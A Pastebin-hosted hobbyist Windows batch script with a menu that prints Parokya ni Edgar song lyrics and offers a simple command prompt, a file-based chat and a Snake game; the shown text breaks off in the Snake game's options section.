Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- open nyo note pad
- paste nyo tong codes na to tapos save as name.bat tapos open nyo wahaha
- @echo off
- title super programing
- :menu
- cls
- color 0a
- echo created by lone survivor
- echo.
- echo.
- echo MENU
- echo.
- echo 1.parokya songs
- echo.
- echo 2.cmd
- echo.
- echo 3.send
- echo.
- echo 4.recive
- echo.
- echo 5.snake
- echo.
- echo 6.facebook
- echo.
- echo 7.calculator
- echo.
- set /p cn=choice number:
- if %cn%==1 goto parokya
- if %cn%==2 goto cmd
- if %cn%==3 goto send
- if %cn%==4 goto recive
- if %cn%==5 goto snake
- if %cn%==6 goto facebook
- if %cn%==7 goto calculator
- color a
- cls
- echo please enter a valid number
- ping local host -n 1 >nul
- goto menu
- :parokya
- :home
- cls
- color 0a
- title parokya ni edgar
- echo created by lone survivor
- echo *********************************************
- echo 1.Sorry na *
- echo 2.your song *
- echo 3.dont touch my birdie *
- echo 4.pangarap lang kita *
- echo 5.buloy *
- echo 6.halaga *
- echo 7.wag mo na sana *
- echo 8.maniwala ka sana *
- echo 9.para sa'yo *
- echo 10.menu *
- echo *********************************************
- echo.
- echo.
- echo.
- echo.
- echo.
- echo ooooo oooo
- echo ooooo oooooooooooo
- echo ooooo ooooo ooooo
- echo ooooo oooo oooo
- echo ooooo oooo
- echo ooooo oooo
- echo ooooo oooo
- echo ooooo oooo oooo
- echo oooooooooooooo ooooo ooooo
- echo oooooooooooooo ooooooooooooo
- echo oooooooooooooo ooooo
- echo.
- echo.
- echo.
- echo.
- echo.
- set /p ch=choice number:
- if %ch%==1 goto sn
- if %ch%==2 goto ys
- if %ch%==3 goto dt
- if %ch%==4 goto pl
- if %ch%==5 goto b
- if %ch%==6 goto h
- if %ch%==7 goto wm
- if %ch%==8 goto mk
- if %ch%==9 goto ps
- if %ch%==10 goto e
- color 4
- cls
- echo please enter a valid number
- ping local host -n 1 >nul
- goto home
- :sn
- cls
- color 7
- echo Sorry na kung nagalit ka di naman sinasadya
- echo Kung may nasabi man ako init lang ng ulo
- echo Pipilitin kong magbago pangako sa iyo
- echo Sorry na nakikinig ka ba? Malamang sawa ka na
- echo Sa ugali kong ito na ayaw magpatalo
- echo At parang sirang tambutso na hindi humihinto
- echo Sorry na talaga kung ako'y medyo tanga
- echo Hindi ako nag-iisip na-uuna ang galit
- echo Sorry na talaga sa aking nagawa
- echo Tanggap ko na mali ako wag sanang magtampo
- echo Sorry na
- echo Sorry na wag kang madadala
- echo Alam kong medyo nahihirapan ka
- echo Na ibigin ang isang katulad kong parang timang
- echo Na paulit-ulit kang hindi sadyang nasasaktan
- echo Sorry na saan ka pupunta?
- echo Please naman wag kang mawawala
- echo Kapag ako ay iwan mo mamamatay ako
- echo Pagkat hawak mo sa iyong kamay ang puso ko
- echo Mahal kita sobrang mahal kita
- echo Wala na akong pwedeng sabihin pang iba
- echo Kundi sorry talaga di ko sinasadya
- echo Talagang sobrang mahal kita
- echo Wag kang mawawala
- echo Sorry na
- echo.
- pause
- goto home
- :ys
- cls
- color 7
- echo It took one look
- echo And forever lay out in front of me
- echo One smile then I die
- echo Only to be revived by you
- echo.
- echo There I was
- echo Thought I had everything figured out
- echo It goes to show just how much I know
- echo About the way life plays out
- echo.
- echo Chorus:
- echo I take one step away
- echo And I find myself coming back to you
- echo My one and only
- echo One and only you
- echo.
- echo Now I know
- echo That I've known not a thing at all
- echo Except the fact that I am yours
- echo And that you are mine
- echo.
- echo Oh, you told me that this wouldn't be easy
- echo And Oh, I'm not one to complain
- echo.
- echo Repeat Chorus Except Last Line
- echo Repeat Chorus
- echo.
- pause
- goto home
- :dt
- cls
- color 7
- echo Kapag ako'y nababato
- echo Pinaglalaruan ko ang birdie ko
- echo Ang cute-cute naman kasi
- echo Kaya ko siya binili
- echo.
- echo My birdie is my best friend (my best friend)
- echo Ang dami naming maliligayang sandali
- echo Madalas ko siyang pinapakain ng birdseed
- echo Mahal kita o birdie ko, 'wag kang lalayo!
- echo.
- echo Don't touch my birdie! (Don't touch my birdie!)
- echo Resist temptation please!
- echo You don't have to grab my birdie
- echo Just call it, and it will come!
- echo.
- echo Ang birdie ko ay nakakatuwa
- echo Parang cobra na mahilig mantuka
- echo Kapag inilabas na mula sa kulungan
- echo Tuluy-tuloy na ang aming kasiyahan
- echo.
- echo 'Di naman ako madamot talaga
- echo Ayaw ko lang na hinahawakan siya ng iba!
- echo Ang birdie ko ay medyo masungit
- echo Konting hawak lang siguradong magagalit!
- echo.
- echo Don't touch my birdie! (Don't touch my birdie!)
- echo Resist temptation please!
- echo You don't have to grab my birdie
- echo Just call it, and it will come... It will come!
- echo.
- echo Huwag ka sanang magalit sa akin
- echo Tuwing ang birdie ko ay aking hihimasin
- echo Sana'y maunawaan mo
- echo Mahal na mahal ko ang birdie ko pati mga itlog nito!
- echo.
- echo Don't touch my birdie! (Don't touch my birdie!)
- echo Resist temptation please!
- echo You don't have to grab my birdie
- echo Just call it, and it will come
- echo.
- echo Don't touch my birdie! (It will come)
- echo Resist temptation please! (It will come)
- echo You don't have to grab my birdie
- echo Just call it, and it will come... It will come
- echo.
- echo It will come
- echo.
- pause
- goto home
- :pl
- cls
- color 7
- echo Mabuti pa sa lotto
- echo May pag-asang manalo
- echo 'Di tulad sayo
- echo Imposible
- echo Prinsesa ka
- echo Ako'y dukha
- echo Sa TV lang naman kasi may mangyayari
- echo.
- echo At kahit mahal kita
- echo Wala akong magagawa
- echo Tanggap ko 'to aking sinta
- echo Pangarap lang kita
- echo.
- echo Ang hirap maging babae
- echo Kung torpe yung lalaki
- echo Kahit may gusto ka
- echo Di mo masabi
- echo Hindi ako iyong tipong nagbibigay motibo
- echo Conservative ako kaya di maaari
- echo.
- echo At kahit mahal kita
- echo Wala akong magagawa
- echo Tanggap ko 'to aking sinta
- echo Pangarap lang kita
- echo.
- echo At kahit mahal kita (Minamahal kita)
- echo Wala akong magagawa (Walang magagawa)
- echo Tanggap ko oh aking sinta
- echo Pangarap lang kita
- echo.
- echo At kahit mahal kita (do ai ni)
- echo Wala akong magagawa (wo zhen do mei pan fa)
- echo Tanggap ko to aking sinta
- echo Pangarap lang kita
- echo Pangarap lang kita
- echo Pangarap lang
- echo.
- pause
- goto home
- :b
- cls
- color 7
- echo Hoy hoy, Buloy
- echo Naaalala mo pa ba
- echo Nun' tayo'y nagsasama?
- echo Hoy hoy, Buloy
- echo Naaalala mo pa ba
- echo Ang iyong mga sinabi nung ako'y may problema?
- echo.
- echo Sabi mo, "lahat ng problema'y kayang lampasan,
- echo Basta't tayo'y nagsasama, at nag-iinuman!"
- echo.
- echo Hoy hoy, Buloy
- echo Naaalala mo pa ba
- echo Nung ako ay na-"kick-out" kasi daw ako'y tanga? (TANGA! )
- echo Hoy hoy, Buloy
- echo Naaalala mo pa ba
- echo Nung ako ay napalayas ng aking ama't ina?
- echo.
- echo Mangiyak-ngiyak na'ko pero sabi mo ay "Okay lang yan!
- echo Basta't tayo'y nagsasama, at nag-iinuman!"
- echo.
- echo Kaya naman ako bilib sa iyo
- echo Kasi parang napakatibay mo.
- echo Lahat ng iharang ay kaya mong daanan
- echo Basta't mayroong bentang alak diyan sa may tindahan!
- echo.
- echo Hoy hoy, Buloy
- echo Naaalala mo pa ba
- echo Nung araw na na-dedo ang aso mong si Morlock?
- echo Hoy hoy, Buloy
- echo Naaalala mo pa ba
- echo Nung ika'y tumawag sa'min at ika'y umiiyak...
- echo.
- echo Tapos pagkatapos no'n, kay tagal mong nawala.
- echo Nagulat na lang ako nung narinig ko ang balita.
- echo Akala ko pa naman na marunong kang magdala,
- echo Nalaman ko na lang na ika'y nagpakamatay na...
- echo.
- echo Hoy Buloy
- echo Nasaan ka man, siguradong kawawa ka, malamang walang alak diyan
- echo Hoy Buloy
- echo Nasaan ka man, siguradong hindi ka namin malilimutan
- echo.
- echo Hoy Buloy Buloy Buloy
- echo Hoy Buloy Buloy Buloy
- echo.
- echo Hoy hoy, Buloy
- echo Para bang nalimot mo na ang iyong mga sinabi nung ikaw ay buhay pa.
- echo.
- pause
- goto home
- :h
- cls
- color 7
- echo Umiiyak ka na naman
- echo Langya talaga wala ka bang ibang alam
- echo Namumugtong mga mata
- echo Kailan pa ba kaya ikaw magsasawa
- echo.
- echo Sa problema na iyong pinapasan
- echo Hatid sayo ng boyfriend mong hindi mo maintindihan
- echo.
- echo May kwento kang pandrama na naman
- echo Parang pang TV na walang katapusan
- echo Hanggang kailan ka bang ganyan
- echo Hindi mo ba alam na walang pupuntahan
- echo Ang pagtiyaga mo dyan sa boyfriend mong tanga
- echo Na wala nang ginawa kundi ang paluhain ka
- echo.
- echo (Chorus)
- echo Sa libu-libong pagkakataon na tayoy nagkasama
- echo Iilang ulit palang kitang makitang masaya
- echo Naiinis akong isipin na ginaganyan ka nya
- echo Siguro ay hindi niya lang alam ang iyong
- echo Tunay na halaga
- echo.
- echo Hindi na dapat pag-usapan pa
- echo Napapagod na rin ako sa aking kakasalita
- echo Hindi ka rin naman nakikinig
- echo Kahit sobrang pagod na ang aking bibig
- echo.
- echo Sa mga payo kong di mo pinapansin
- echo Akala mo'y nakikinig di rin naman tatanggapin
- echo.
- echo Ayoko nang isipin pa
- echo Di ko alam ba't di mo makayanan na iwanan sya
- echo Ang dami-dami naman diyang iba
- echo Wag kang mangangambang baka wala ka nang ibang Makita
- echo.
- echo Na lalake na magmahal sayo
- echo At hinding hindi nya sasayangin ang pag-ibig mo
- echo.
- echo (Chorus)
- echo Sa libu-libong pagkakataon na tayoy nagkasama
- echo Iilang ulit palang kitang makitang masaya
- echo Naiinis akong isipin na ginaganyan ka nya
- echo Siguro ay hindi niya lang alam ang iyong
- echo Tunay na halaga
- echo.
- echo Minsan hindi ko maintindihan
- echo Parang ang buhay natin ay napagti-tripan
- echo Medyo Malabo yata ang mundo
- echo Binabasura ng iba ang siyang pinapangarap ko
- echo.
- echo (Chorus)
- echo Sa libu-libong pagkakataon na tayoy nagkasama
- echo Iilang ulit palang kitang makitang masaya
- echo Naiinis akong isipin na ginaganyan ka nya
- echo Siguro ay hindi niya lang alam ang iyong
- echo Tunay na halaga
- echo.
- pause
- goto home
- :wm
- cls
- color 7
- echo Naiinis na ako sa iyo
- echo Bakit mo ba ako ginaganito
- echo Ikaw ba ay naguguluhan sa 'king tunay na nararamdaman sa iyo
- echo Ano pa bang dapat na gawin pa
- echo Sa 'king pananamit at pananalita
- echo Upang iyong mapagbigyang pansin aking paghanga at pagtingin
- echo Sa iyo
- echo.
- echo Chorus:
- echo Wag mo na sana akong pahirapan pa
- echo Kung ayaw mo sa 'kin ay sabihin mo na
- echo Wag mo na sana akong ipaasa sa wala
- echo Oo na mahal na kung mahal kita
- echo.
- echo Ano pa bang dapat na gawin ko
- echo Upang malaman mo ang nadarama ko
- echo Upang iyong mapagbigyang pansin
- echo Aking paghahanga at pagtingin
- echo Sa iyo
- echo.
- echo (Repeat chorus)
- echo Oo na mahal na kung mahal kita
- echo.
- pause
- goto home
- :mk
- cls
- color 7
- echo Nung una kitang makilala di man lang kita napuna,
- echo di ka naman kasi ganoon kaganda, di ba?
- echo simpleng kabatak, simpleng kabarkada lamang ang tingin ko sa'yo.
- echo di ko talaga alam kung bakit ako nagkakaganito!
- echo ako'y napaisip at biglang napatingin, di ko malaman kung anongdapat gawin!
- echo dahan- dahan nag- iba ang pagtingin ko sa 'yo,
- echo gumanda ka bigla at ang mga kilos mo'y nakakapanibago!
- echo napansin ko na lamang na nalalaglag ang aking puso.
- echo bad trip talaga! na- i- in lab ako sa 'yo!
- echo tuwing kita'y nakikita ako ay napapangiti, para bang gusto konghalikan ang iyong mga pisngi!
- echo.
- echo CHORUS
- echo minamahal kita! ba't di ka maniwala?!
- echo anong kailangan kong gawin upang seryosohin mo ang aking sinasabitungkol sa pag- ibig ko sa 'yo?
- echo maniwala ka sana, minamahal kita!
- echo.
- echo nasira na yata ang ulo ko, kaiisip ko sa 'yo
- echo kahit saan tumingin ay mukha mo ang nakikita ko!
- echo pero bakit para kang naiilang, ako ay iyong iniiwasan?
- echo ako'y nahihirapan uy, wala namang ganyanan!
- echo pakiramdam ko ngayon ako ay nagmumukhang gago!
- echo ngayon ako'y nagsisisi kung bakit ako nag "i love you"!!!
- echo kasi di na tayo tulad ng dati
- echo ngayon sa akin ay diring- dire!
- echo.
- echo (CHORUS)
- echo.
- pause
- goto home
- :ps
- cls
- color 7
- echo Lumayo ka na sa akin
- echo Wag mo kong kausapin
- echo Parang awa mo na
- echo Wag kang magpapaakit sa akin
- echo Ayoko lang masaktan ka
- echo Malakas ako mambola
- echo Hindi ako santo
- echo.
- echo Pero para sa'yo
- echo Ako'y magbabago
- echo Kahit mahirap
- echo Kakayanin ko
- echo Dahil para sa'yo
- echo Handa kong magpakatino
- echo Laging isipin
- echo Lahat ay gagawin
- echo Basta para sa'yo
- echo.
- echo Hindi ikaw yung tipong niloloko
- echo At hindi naman ako
- echo Yung tipong nagseseryoso
- echo At kahit
- echo Sulit sana sa'yo ang kasalanan
- echo Lolokohin lang kita
- echo Kaya't kung pwede wag nlang dahil
- echo Ayoko ngang masaktan ka
- echo Wag kang maniniwala
- echo Hindi ako santo
- echo.
- echo Pero para sa'yo
- echo Ako'y magbabago
- echo Kahit mahirap
- echo Kakayanin ko
- echo Dahil para sa'yo
- echo Handa kong magpakatino
- echo Laging isipin
- echo Lahat ay gagawin
- echo Basta para sa'yo
- echo.
- echo Bakit nakikinig ka pa
- echo Matatapos na ang kanta
- echo Pinapatakas na kita
- echo Mula nung unang stanza
- echo Hinde ka ba natatakot
- echo Baka ikaw ay masangkot
- echo Sa mga kasalanan ko
- echo.
- echo Pero para sa'yo
- echo Ako'y magbabago
- echo Kahit mahirap
- echo Kakayanin ko
- echo Dahil para sa'yo
- echo Handa kong magpakatino
- echo Laging isipin
- echo Lahat ay gagawin
- echo Basta para sa'yo
- echo.
- echo Ako'y magbabago
- echo Kahit mahirap
- echo Kakayanin ko
- echo Dahil para sa'yo
- echo Handa kong magpakatino
- echo Laging isipin
- echo Lahat ay gagawin
- echo Basta para sa'yo
- echo.
- pause
- goto home
- :e
- cls
- goto menu
- :cmd
- cls
- title command prompt
- ver
- echo to go to menu type "goto menu"
- echo.
- :x
- set /p the="%cd%>"
- %the%
- echo.
- goto x
- goto menu
- :send
- cls
- color 0b
- title Chat Messenger
- echo Hi, welcome to the chat program!
- echo to go to menu type 1
- echo to go to say type 2
- echo.
- set /p username=Enter Your Name:
- echo %username% has joined! >> join.dat
- :message
- set /p message=Say:
- goto send
- :send
- echo %username%: %message% (%time%)>> log.dat
- set /p gt=go to menu or say:
- if %gt%==1 goto menu
- if %gt%==2 goto message
- color a
- cls
- echo please enter a valid number
- ping local host -n 1 >nul
- goto message
- :recive
- cls
- color 0b
- title chat messenger reciever
- :read
- cls
- type join.dat
- echo.
- type log.dat
- echo.
- timeout /t 1
- echo.
- echo to go to menu type 1
- echo to go to read type 2
- set /p rm=goto menu or read:
- if %rm%==1 goto menu
- if %rm%==2 goto read
- color a
- cls
- echo please enter a valid number
- ping local host -n 1 >nul
- goto read
- :snake
- if "%~1" == "startGame" goto :game
- if "%~1" == "startController" goto :controller
- ::---------------------------------------------------------------------
- :: setup some global variables used by both the game and the controller
- setlocal disableDelayedExpansion
- :getSession
- if defined temp (set "tempFileBase=%temp%\") else if defined tmp set "tempFileBase=%tmp%\"
- set "tempFileBase=%tempFileBase%Snake%time::=_%"
- set "keyFile=%tempFileBase%_key.txt"
- set "cmdFile=%tempFileBase%_cmd.txt"
- set "gameLock=%tempFileBase%_gameLock.txt"
- set "gameLog=%tempFileBase%_gameLog.txt"
- set "signal=%tempFileBase%_signal.txt"
- set "saveLoc=%userprofile%\Snake"
- set "userPref=%saveLoc%\SnakeUserPref.txt"
- set "hiFile=%saveLoc%\Snake!growth!Hi"
- set "keyStream=9"
- set "cmdStream=8"
- set "lockStream=7"
- ::------------------------------------------
- :: Lock this game session and launch.
- :: Loop back and try a new session if failure.
- :: Cleanup and exit when finished
- call :launch %lockStream%>"%gameLock%" || goto :getSession
- del "%tempFileBase%*"
- exit /b
- ::------------------------------------------
- :launch the game and the controller
- call :fixLogs
- copy nul "%keyFile%" >nul
- copy nul "%cmdFile%" >nul
- start "" /b cmd /c ^""%~f0" startController %keyStream%^>^>"%keyFile%" %cmdStream%^<"%cmdFile%" 2^>nul ^>nul^"
- cmd /c ^""%~f0" startGame %keyStream%^<"%keyFile%" %cmdStream%^>^>"%cmdFile%" ^<nul^"
- echo(
- ::--------------------------------------------------------------
- :: Upon exit, wait for the controller to close before returning
- :close
- 2>nul (>>"%keyFile%" call )||goto :close
- if not exist "%~dp0CursorPos.exe" (
- echo Game play can be improved by installing
- echo Aacini's CursorPos.exe, available at
- echo http://goo.gl/hr6Kkn
- echo(
- echo %cmdcmdline%|find /i "%~f0">nul&&pause
- )
- exit /b 0
- ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
- :game
- title %~nx0
- cls
- ::---------------------------------------
- :: Playfield size
- :: max playing field: (width-2)*(height-2) <= 1365
- set "width=40" max=99
- set "height=25" max=99
- ::----------------------------
- :: resize the console window
- set /a cols=width+1, lines=height+10, area=(width-2)*(height-2)
- if %area% gtr 1365 (
- echo ERROR: Playfield area too large
- %sendCmd% quit
- exit
- )
- if %lines% lss 14 set lines=14
- if %cols% lss 46 set cols=46
- mode con: cols=%cols% lines=%lines%
- ::----------------------------
- :: define variables
- set "configOptions=diffCode difficulty growth moveKeys up down left right"
- set "configOptionCnt=9"
- set "moveKeys=4"
- set "up=W"
- set "down=S"
- set "left=A"
- set "right=D"
- set "pause=P"
- set "space= "
- set "bound=#"
- set "food=+"
- set "head=@"
- set "body=O"
- set "death=X"
- set "growth=1"
- if exist "%userPref%" for /f "usebackq delims=" %%V in ("%userPref%") do set "%%V"
- set "spinner1=-"
- set "spinner2=\"
- set "spinner3=|"
- set "spinner4=/"
- set "spinner= spinner1 spinner2 spinner3 spinner4 "
- set "delay1=20"
- set "delay2=15"
- set "delay3=10"
- set "delay4=7"
- set "delay5=5"
- set "delay6=3"
- set "desc1=Sluggard"
- set "desc2=Crawl"
- set "desc3=Slow"
- set "desc4=Normal"
- set "desc5=Fast"
- set "desc6=Insane"
- set "spinnerDelay=3"
- set /a "width-=1, height-=1"
- :: define LF as a Line Feed (newline) character
- set ^"LF=^
- ^" Above empty line is required - do not remove
- :: define CR as a Carriage Return character
- for /f %%A in ('copy /Z "%~dpf0" nul') do set "CR=%%A"
- :: define BS as a BackSpace character
- for /f %%A in ('"prompt $H&for %%B in (1) do rem"') do set "BS=%%A"
- set "upper=A B C D E F G H I J K L M N O P Q R S T U V W X Y Z"
- set "invalid=*~="
- ::---------------------------
- :: define macros
- if exist "%~dp0CursorPos.exe" (
- set "cls=CursorPos 0 0"
- set "ClearLine=echo( &CursorPos 0 -1"
- set "ClearPrev=CursorPos 0 -0&echo( "
- ) else (
- set "cls=cls"
- set "ClearLine="
- set "ClearPrev="
- )
- :: define a newline with line continuation
- set ^"\n=^^^%LF%%LF%^%LF%%LF%^^"
- :: setErr
- ::: Sets the ERRORLEVEL to 1
- set "setErr=(call)"
- :: clrErr
- ::: Sets the ERRORLEVEL to 0
- set "clrErr=(call )"
- :: sendCmd command
- ::: sends a command to the controller
- set "sendCmd=>&%cmdStream% echo"
- :: getKey [ValidKey] [ValidKey...]
- ::: Check for keypress from the controller. Only accept a ValidKey.
- ::: Token delimiters and poison characters must be quoted.
- ::: Accept any key if no ValidKey specified.
- ::: Return result in Key variable. Key is undefined if no valid keypress.
- set getKey=%\n%
- for %%# in (1 2) do if %%#==2 (%\n%
- set key=%\n%
- set inKey=%\n%
- set keyTest=%\n%
- ^<^&%keyStream% set /p "inKey="%\n%
- if defined inKey (%\n%
- set inKey=!inKey:~0,-1!%\n%
- for %%C in (!args!) do set /a keyTest=1^&if /i !inKey! equ %%~C set key=!inKey!%\n%
- )%\n%
- if not defined keyTest set key=!inKey!%\n%
- ) else set args=
- :: draw
- ::: draws the board
- set draw=%\n%
- set screen=%\n%
- for /l %%Y in (0,1,%height%) do set screen=!screen!!line%%Y!!LF!%\n%
- set screen=!screen!Speed = !Difficulty! !replay!!LF!Growth Rate = !growth! HighScore = !hi!!LF!Score = !score! Time = !m!:!s!%\n%
- if defined replay if not defined replayFinished (%\n%
- set screen=!screen!!LF!!LF!Press a key to abort the replay%\n%
- )%\n%
- %cls%^&echo(!screen!
- :: test X Y ValueListVar
- ::: tests if value at coordinates X,Y is within contents of ValueListVar
- set test=%\n%
- for %%# in (1 2) do if %%#==2 (for /f "tokens=1-3" %%1 in ("!args!") do (%\n%
- for %%A in ("!line%%2:~%%1,1!") do if "!%%3:%%~A=!" neq "!%%3!" %clrErr% else %setErr%%\n%
- )) else set args=
- :: plot X Y ValueVar
- ::: places contents of ValueVar at coordinates X,Y
- set plot=%\n%
- for %%# in (1 2) do if %%#==2 (for /f "tokens=1-3" %%1 in ("!args!") do (%\n%
- set "part2=!line%%2:~%%1!"%\n%
- set "line%%2=!line%%2:~0,%%1!!%%3!!part2:~1!"%\n%
- )) else set args=
- ::--------------------------------------
- :: start the game
- setlocal enableDelayedExpansion
- if not exist "%saveLoc%\" md "%saveLoc%"
- set "replay= Aborting... "
- set "replayAvailable="
- call :loadHighScores
- call :mainMenu
- ::--------------------------------------
- :: main loop (infinite loop)
- for /l %%. in () do (
- %=== check for and process abort signal if in replay mode ===%
- if defined replay if exist "%signal%" (
- del "%signal%"
- set "replayFinished=1"
- %draw%
- echo(
- %ClearLine%
- <nul set /p "=Aborting... "
- findstr "^" >nul <&%keyStream%
- for %%A in (!configOptions!) do set "%%A=!%%ASave!"
- call :mainMenu
- )
- %=== compute time since last move ===%
- for /f "tokens=1-4 delims=:.," %%a in ("!time: =0!") do set /a "t2=(((1%%a*60)+1%%b)*60+1%%c)*100+1%%d-36610100, tDiff=t2-t1"
- if !tDiff! lss 0 set /a tDiff+=24*60*60*100
- if !tDiff! geq !delay! (
- %=== delay has expired, so time for movement ===%
- set /a t1=t2
- %=== compute game time ===%
- if not defined gameStart set "gameStart=!t2!"
- set /a "gameTime=(t2-gameStart)"
- if !gameTime! lss 0 set /a "gameTime+=24*60*60*100"
- set /a "gameTime=(gameTime-pauseTime)/100, m=gameTime/60, s=gameTime%%60"
- if !m! lss 10 set "m=0!m!"
- if !s! lss 10 set "s=0!s!"
- %=== get keypress ===%
- %getKey% !keys!
- if /i !key! equ !pause! (
- %=== pause game ===%
- echo(
- call :ask "PAUSED - Press a key to continue..."
- %ClearPrev%
- %sendCmd% go
- for /f "tokens=1-4 delims=:.," %%a in ("!time: =0!") do set /a "t2=(((1%%a*60)+1%%b)*60+1%%c)*100+1%%d-36610100, tDiff=t2-t1"
- if !tDiff! lss 0 set /a tDiff+=24*60*60*100
- set /a pauseTime+=tDiff
- ) else (
- %=== establish direction ===%
- if not defined replay (echo(!key!.) >>"!gameLog!"
- for %%K in (!key!) do if !moveKeys! equ 2 (
- set /a "xDiff=xTurn%%K*!yDiff!, yDiff=yTurn%%K*!xDiff!"
- ) else if "!%%KAxis!" neq "!axis!" (
- set /a "xDiff=xDiff%%K, yDiff=yDiff%%K"
- set "axis=!%%KAxis!"
- )
- %=== erase the tail ===%
- set "TX=!snakeX:~-2!"
- set "TY=!snakeY:~-2!"
- set "snakeX=!snakeX:~0,-2!"
- set "snakeY=!snakeY:~0,-2!"
- %plot% !TX! !TY! space
- %=== compute new head location and attempt to move ===%
- set /a "X=PX+xDiff, Y=PY+yDiff"
- set "X= !X!"
- set "Y= !Y!"
- set "X=!X:~-2!"
- set "Y=!Y:~-2!"
- (%test% !X! !Y! playerSpace) && (
- %=== move successful ===%
- %=== remove the new head location from the empty list ===%
- for %%X in ("!X!") do for %%Y in ("!Y!") do set "empty=!empty:#%%~X %%~Y=!"
- %=== eat any food that may be present ===%
- (%test% !X! !Y! food) && (
- %=== initiate growth ===%
- set /a grow+=growth
- %=== locate and draw new food ===%
- if defined replay (
- <&%keyStream% set /p "F="
- ) else (
- set /a "F=(!random!%%(emptyCnt-1))*6+1"
- (echo !F!) >>"!gameLog!"
- )
- for %%F in (!F!) do (%plot% !empty:~%%F,5! food)
- )
- if !grow! gtr 0 (
- %=== restore the tail ===%
- %plot% !TX! !TY! body
- set "snakeX=!snakeX!!TX!"
- set "snakeY=!snakeY!!TY!"
- set /a emptyCnt-=1
- %=== manage score ===%
- set /a "score+=1, grow-=1"
- if not defined replay if !score! gtr !hi! set /a "hi+=1, newHi=1"
- ) else (
- %=== add the former tail position to the empty list ===%
- set "empty=!empty!#!TX! !TY!"
- )
- %=== draw the new head ===%
- if defined snakeX (%plot% !PX! !PY! body)
- %plot% !X! !Y! head
- %=== Add the new head position to the snake strings ===%
- set "snakeX=!X!!snakeX!"
- set "snakeY=!Y!!snakeY!"
- set "PX=!X!"
- set "PY=!Y!"
- %draw%
- ) || (
- %=== failed move - game over ===%
- set "replayFinished=1"
- %plot% !TX! !TY! body
- call :spinner !PX! !PY! death
- %draw%
- if defined newHi (
- echo(
- echo New High Score - Congratulations^^!
- set "hi!diffCode!=!score!"
- copy "!gameLog!" "%hiFile%!diffCode!.txt" >nul
- >>"%hiFile%!diffCode!.txt" echo ::!score!
- )
- echo(
- %ClearLine%
- call :ask "Press a key to continue..."
- for %%A in (!configOptions!) do set "%%A=!%%ASave!"
- call :mainMenu
- )
- )
- )
- )
- ::-------------------------------------
- :getString Prompt Var MaxLen
- :: Prompt for a string with max lengh of MaxLen.
- :: Valid keys are alpha-numeric, space, underscore, and dash
- :: String is terminated by Enter
- :: Backspace works to delete previous character
- :: Result is returned in Var
- set /a "maxLen=%3"
- set "%2="
- %sendCmd% prompt
- <nul set /p "=%~1 "
- call :purge
- :getStringLoop
- (%getKey% !upper! 0 1 2 3 4 5 6 7 8 9 " " _ - {Enter} !BS!)
- if defined key (
- if !key! equ {Enter} (
- echo(
- exit /b
- )
- if !key! neq !BS! if !maxLen! gtr 0 (
- set /a maxLen-=1
- <nul set /p "=.!BS!!key!"
- set "%2=!%2!!key!
- )
- if !key! equ !BS! if defined %2 (
- set /a maxLen+=1
- <nul set /p "=!BS! !BS!"
- set "%2=!%2:~0,-1!"
- )
- )
- if defined inKey %sendCmd% one
- goto :getStringLoop
- ::-------------------------------------
- :ask Prompt ValidKey [Validkey]...
- :: Prompt for a keypress.
- :: Wait until a ValidKey is pressed and return result in Key variable.
- :: Token delimiters, ), and poison characters must be quoted.
- %sendCmd% prompt
- <nul set /p "=%~1 "
- (set validKeys=%*)
- (set validKeys=!validKeys:%1=!)
- call :purge
- :getResponse
- (%getKey% !validKeys!)
- if not defined key (
- if defined inKey %sendCmd% one
- goto :getResponse
- )
- exit /b
- :purge
- set "inKey="
- for /l %%N in (1 1 1000) do (
- set /p "inKey="
- if "!inKey!" equ "{purged}." exit /b
- )<&%keyStream%
- goto :purge
- ::-------------------------------------
- :spinner X Y ValueVar
- set /a d1=-1000000
- for /l %%N in (1 1 5) do for %%C in (%spinner%) do (
- call :spinnerDelay
- %plot% %1 %2 %%C
- %draw%
- )
- call :spinnerDelay
- (%plot% %1 %2 %3)
- exit /b
- ::-------------------------------------
- :delay centiSeconds
- setlocal
- for /f "tokens=1-4 delims=:.," %%a in ("!time: =0!") do set /a "spinnerDelay=%1, d1=(((1%%a*60)+1%%b)*60+1%%c)*100+1%%d-36610100"
- :: fall through to :spinnerDelay
- ::-------------------------------------
- :spinnerDelay
- for /f "tokens=1-4 delims=:.," %%a in ("!time: =0!") do set /a "d2=(((1%%a*60)+1%%b)*60+1%%c)*100+1%%d-36610100, dDiff=d2-d1"
- if %dDiff% lss 0 set /a dDiff+=24*60*60*100
- if %dDiff% lss %spinnerDelay% goto :spinnerDelay
- set /a d1=d2
- exit /b
- ::-------------------------------------
- :mainMenu
- cls
- set "loadAvailable="
- echo Growth rate = !growth!
- echo(
- echo Main Menu:
- echo(
- echo N - New game
- if defined replayAvailable echo R - Replay previous game
- if defined saveAvailable echo S - Save a game
- if exist *.snake.txt echo L - Load and watch a saved game&set "loadAvailable=L"
- echo C - Control options
- echo G - Graphic options
- echo Q - Quit
- echo(
- set "hiAvailable="
- for /l %%N in (1 1 6) do if defined hi%%N (
- if not defined hiAvailable (
- echo Replay High Score:
- echo(
- )
- set "desc=!desc%%N!........"
- set "hiAvailable=!hiAvailable! %%N"
- echo %%N - !desc:~0,8! !hi%%N!
- )
- if defined hiAvailable echo(
- set "keys=N C G Q !hiAvailable! !replayAvailable! !saveAvailable! !loadAvailable!"
- call :ask ">" !keys!
- if /i !key! equ Q (
- %sendCmd% quit
- cls
- exit
- )
- if /i !key! equ N (
- set "replay="
- set "replayAvailable=R"
- set "saveAvailable=S"
- goto :initialize
- )
- if /i !key! equ S (
- if defined replayAvailable (
- call :ask "HighScore # or P for Previous:" !hiAvailable! P
- ) else (
- call :ask "HighScore #:" !hiAvailable!
- )
- echo !key!
- if /i !key! equ P (set "src=!gameLog!") else set "src=%hiFile%!key!.txt"
- call :getString "Save file name:" file 20
- copy "!src!" "!file!.snake.txt"
- call :ask "Press a key to continue..."
- )
- if /i !key! equ L (
- call :getString "Load file name:" file 20
- if exist "!file!.snake.txt" (
- set "replay=!file!.snake.txt"
- goto :initialize
- )
- echo Error: File "!file!.snake.txt" not found
- call :ask "Press a key to continue..."
- )
- if /i !key! equ R (
- set "replay=!gameLog!"
- goto :initialize
- )
- if !key! geq 1 if !key! leq 6 (
- set "replay=%hiFile%!key!.txt"
- goto :initialize
- )
- if /i !key! equ C call :controlOptions
- if /i !key! equ G call :graphicOptions
- goto :mainMenu
- ::-------------------------------------
- :controlOptions
- cls
